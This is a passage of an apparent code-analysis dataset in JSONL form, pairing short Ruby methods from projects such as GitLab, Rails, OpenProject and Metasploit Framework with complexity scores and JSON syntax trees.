:score\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"column_exists?\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"post_id\"]}]}]}]},\"update_all\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"str\",\"children\":[\" = ?\"]}]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"with_deleted\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"post_id\"]}]}]}]},\"pick\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_action_type_key\"]},\"==\",{\"type\":\"sym\",\"children\":[\"like\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"update_post_action_cache\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_action_type\"]},{\"type\":\"send\",\"children\":[null,\"post_action_type_key\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"==\",{\"type\":\"str\",\"children\":[\"like_count\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]},\"update_action_counts\"]},null]}]}]}","id":"81c932df-5e0b-4967-b7b8-0088a3fd6596"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240717121912_remove_fk_to_ci_pipelines_p_ci_stages_on_pipeline_id.rb","start_line":15,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(\n        SOURCE_TABLE_NAME,\n        TARGET_TABLE_NAME,\n        name: FK_NAME,\n        reverse_lock_order: true\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"afd52d83-d199-43ba-b325-cb2470980d8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/resource_milestone_event.rb","start_line":40,"raw_source":"def ensure_namespace_id\n    # Due to how these records are created. I think it's better to always assign the right namespace before validation\n    # instead of only doing it conditionally. These records never get updated.\n    self.namespace_id = Gitlab::Issuable::NamespaceGetter.new(issuable, allow_nil: true).namespace_id\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_namespace_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"namespace_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Issuable\"]},\"NamespaceGetter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"issuable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_nil\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"namespace_id\"]}]}]}","id":"2aa70b97-c028-45bb-8c90-e0edfc600eb7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/mutations/todos/restore_many_spec.rb","start_line":86,"raw_source":"def expect_states_were_not_changed\n    expect(todo1.reload.state).to eq('done')\n    expect(todo2.reload.state).to eq('pending')\n    expect(other_user_todo.reload.state).to eq('done')\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_states_were_not_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"todo1\"]},\"reload\"]},\"state\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"done\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"todo2\"]},\"reload\"]},\"state\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"pending\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_user_todo\"]},\"reload\"]},\"state\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"done\"]}]}]}]}]}","id":"a7096ed4-c9ca-4878-a0ed-a0dcd30af28a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/lib/time_sniffer.rb","start_line":104,"raw_source":"def parse_space\n      if input[offset] == \" \"\n        self.offset += 1\n        true\n      else\n        false\n      end\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_space\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"offset\"]}]},\"==\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"offset\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"3cc83dd3-c329-4ecd-951c-79fc48d9b0ce"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/tenant.rb","start_line":162,"raw_source":"def allocated_quotas\n    tenant_quotas.each_with_object({}) do |q, h|\n      h[q.name.to_sym] = q.quota_hash.merge(:value => q.allocated)\n    end.reverse_merge(TenantQuota.quota_definitions)\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allocated_quotas\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tenant_quotas\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q\"]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"name\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"quota_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"allocated\"]}]}]}]}]}]},\"reverse_merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TenantQuota\"]},\"quota_definitions\"]}]}]}","id":"315a7936-be66-45f8-af1c-e7d8475184d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/ci_job_token.rb","start_line":13,"raw_source":"def initialize(plaintext, source)\n        @revocable = ::Ci::AuthJobFinder.new(token: plaintext).execute\n\n        @source = source\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plaintext\"]},{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@revocable\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"AuthJobFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"plaintext\"]}]}]}]},\"execute\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@source\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}","id":"68f97631-4b04-48e3-96e6-8c8d5e6b5b5d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/json_formatter.rb","start_line":13,"raw_source":"def initialize(output, options = {})\n        super\n        @output_hash = { metadata: metadata_hash, files: [], summary: { offense_count: 0 } }\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@output_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"send\",\"children\":[null,\"metadata_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"files\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offense_count\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}","id":"b98fe43e-c8ae-4460-bf97-d7572683f853"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/project_container_repositories.rb","start_line":239,"raw_source":"def add_next_link_if_next_page_exists(response)\n        next_link_uri = response.dig(:pagination, :next, :uri)\n        return unless next_link_uri.present?\n\n        parsed_params = Rack::Utils.parse_query(next_link_uri.query)\n        next_params = {\n          per_page: parsed_params['n'],\n          last: parsed_params['last'],\n          sort: parsed_params['sort'] == '-name' ? 'desc' : 'asc'\n        }.compact\n\n        Gitlab::Pagination::Keyset::HeaderBuilder\n        .new(self)\n        .add_next_page_header(next_params)\n      end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_next_link_if_next_page_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_link_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"pagination\"]},{\"type\":\"sym\",\"children\":[\"next\"]},{\"type\":\"sym\",\"children\":[\"uri\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_link_uri\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"parsed_params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"parse_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_link_uri\"]},\"query\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"next_params\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"last\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sort\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"-name\"]}]},{\"type\":\"str\",\"children\":[\"desc\"]},{\"type\":\"str\",\"children\":[\"asc\"]}]}]}]},\"compact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"HeaderBuilder\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"add_next_page_header\",{\"type\":\"lvar\",\"children\":[\"next_params\"]}]}]}]}","id":"6d7857cb-73d3-4690-88bd-828a223f2e67"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/linux.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(info)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}","id":"9e3e2283-0c54-4437-a2c7-3ba3caf795dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/rails_slis.rb","start_line":35,"raw_source":"def possible_graphql_query_labels\n          return [] unless Gitlab::Metrics::Environment.api?\n\n          ::Gitlab::Graphql::KnownOperations.default.operations.map do |op|\n            {\n              endpoint_id: op.to_caller_id,\n              # We'll be able to correlate feature_category with https://gitlab.com/gitlab-org/gitlab/-/issues/328535\n              feature_category: nil,\n              query_urgency: op.query_urgency.name\n            }\n          end\n        end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"possible_graphql_query_labels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Environment\"]},\"api?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Graphql\"]},\"KnownOperations\"]},\"default\"]},\"operations\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"op\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"to_caller_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_category\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_urgency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"query_urgency\"]},\"name\"]}]}]}]}]}]}","id":"f79a1825-378e-4192-8076-3f1102ab6866"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/report.rb","start_line":109,"raw_source":"def process_project_phase_select(project, select, entries)\n      entry = user_can_view_project_phases?(project) ? table_entry_project_phase(project, select) : nil\n      entries.push(entry) if entry\n      entries\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_project_phase_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"select\"]},{\"type\":\"arg\",\"children\":[\"entries\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_can_view_project_phases?\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"table_entry_project_phase\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"select\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"entries\"]}]}]}","id":"8de08991-78a2-4887-bcad-ede39f165942"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/elasticsearch/executor.rb","start_line":9,"raw_source":"def vector_field_mapping(field)\n          {\n            type: 'dense_vector',\n            dims: field.options[:dimensions],\n            index: true,\n            similarity: 'cosine'\n          }\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"vector_field_mapping\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"dense_vector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dims\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dimensions\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"similarity\"]},{\"type\":\"str\",\"children\":[\"cosine\"]}]}]}]}","id":"d4299bc4-abe1-4a45-aa73-f3c0ba639331"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_organization_id_on_ci_runner_machines.rb","start_line":11,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          sub_batch.where.not(sharding_key_id: nil).update_all(organization_id: DEFAULT_ORG_ID)\n        end\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sharding_key_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_ORG_ID\"]}]}]}]}]}]}","id":"d1a848af-4b92-4d2f-85ba-a8a8cd84d964"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":4422,"raw_source":"def test_glob_constraint_skip_all\n    get \"/missing\"\n    assert_equal \"404\", @response.code\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_glob_constraint_skip_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/missing\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"404\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"code\"]}]}]}]}","id":"d0ffe355-92f1-470c-9cc1-87cf6a7de4a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/graphql/types/test_graphql_schema_shared_context.rb","start_line":57,"raw_source":"def odd_value\n        object[:value]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"odd_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}","id":"984ac1a3-023f-4281-b0f6-9e49b135bd03"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/health_status_controller.rb","start_line":62,"raw_source":"def create\n        create_and_cache_report\n\n        redirect_to admin_settings_storage_health_status_report_path(@storage), status: :see_other\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_and_cache_report\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_settings_storage_health_status_report_path\",{\"type\":\"ivar\",\"children\":[\"@storage\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"c9a4e981-68cf-4158-9588-e6cd918d3e7a"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/attachments/attachable_representer_mixin.rb","start_line":78,"raw_source":"def attachments\n            ::API::V3::Attachments::AttachmentCollectionRepresenter.new(attachment_set,\n                                                                        self_link: attachments_by_resource,\n                                                                        current_user:)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"attachments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Attachments\"]},\"AttachmentCollectionRepresenter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"attachment_set\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"self_link\"]},{\"type\":\"send\",\"children\":[null,\"attachments_by_resource\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}","id":"eaa47b98-40da-4e83-ab3e-3d4b26885deb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/dns/server.rb","start_line":83,"raw_source":"def flush_cache(static = false)\n    self.service.cache.stop(true)\n    flush_static_hosts if static\n    self.service.cache.start\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"flush_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"static\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"cache\"]},\"stop\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"static\"]},{\"type\":\"send\",\"children\":[null,\"flush_static_hosts\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"cache\"]},\"start\"]}]}]}","id":"28654e4e-60f4-4e41-a9bc-2b34b1c34b30"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20250512114003_move_users_identity_url_to_user_auth_provider_links.rb","start_line":32,"raw_source":"def change\n    create_table :user_auth_provider_links do |t|\n      t.references :user, null: false, foreign_key: { on_delete: :cascade, on_update: :cascade }\n      t.references :auth_provider, null: false, foreign_key: { on_delete: :cascade, on_update: :cascade }\n      t.string :external_id, null: false\n      t.timestamps null: false\n      t.index %i[user_id auth_provider_id], unique: true\n      t.index %i[auth_provider_id external_id], unique: true\n    end\n\n    # Code to migrate data into the new table was moved into 20250804133700 after adding a fix\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"user_auth_provider_links\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"auth_provider\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"external_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"